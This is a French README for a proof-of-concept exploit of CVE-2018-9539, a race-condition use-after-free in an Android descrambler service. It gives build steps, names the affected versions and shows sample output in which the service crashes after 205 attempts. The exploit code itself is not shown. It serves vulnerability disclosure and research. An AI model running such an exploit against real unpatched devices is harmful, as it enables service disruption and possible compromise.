
Code PoC pour CVE-2018-9539
Code de preuve de concept pour CVE-2018-9539
Si vous avez des questions, n'hésitez pas à m'envoyer un message direct sur Twitter (@tamir_zb).
Pour compiler ce projet :
AOSP/external.cd AOSP
source build/envsetup.sh
make cas_race_uaf
Exécuter ce PoC contre une version non corrigée d'Android (8.1 à 9.0 avant novembre 2018) devrait provoquer une use-after-free. Notez que ce PoC n'est pas vraiment destiné à fonctionner sur Android 8.1, car il s'attend à ce que l'UaF fasse planter le service, ce qui ne se produit que sur Android 9.0 ; exécuter ce PoC sur Android 8.1 entraînera donc une boucle infinie.
Voici un exemple de sortie de l'exécution de ce PoC sur Android 9.0 :
Objects prepared
Attempt #1:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #1 failed, retrying...
Attempt #2:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #2 failed, retrying...
...
...
...
Attempt #204:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #204 failed, retrying...
Attempt #205:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session1
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: CRASHED :)
Succeeded in 205 attempts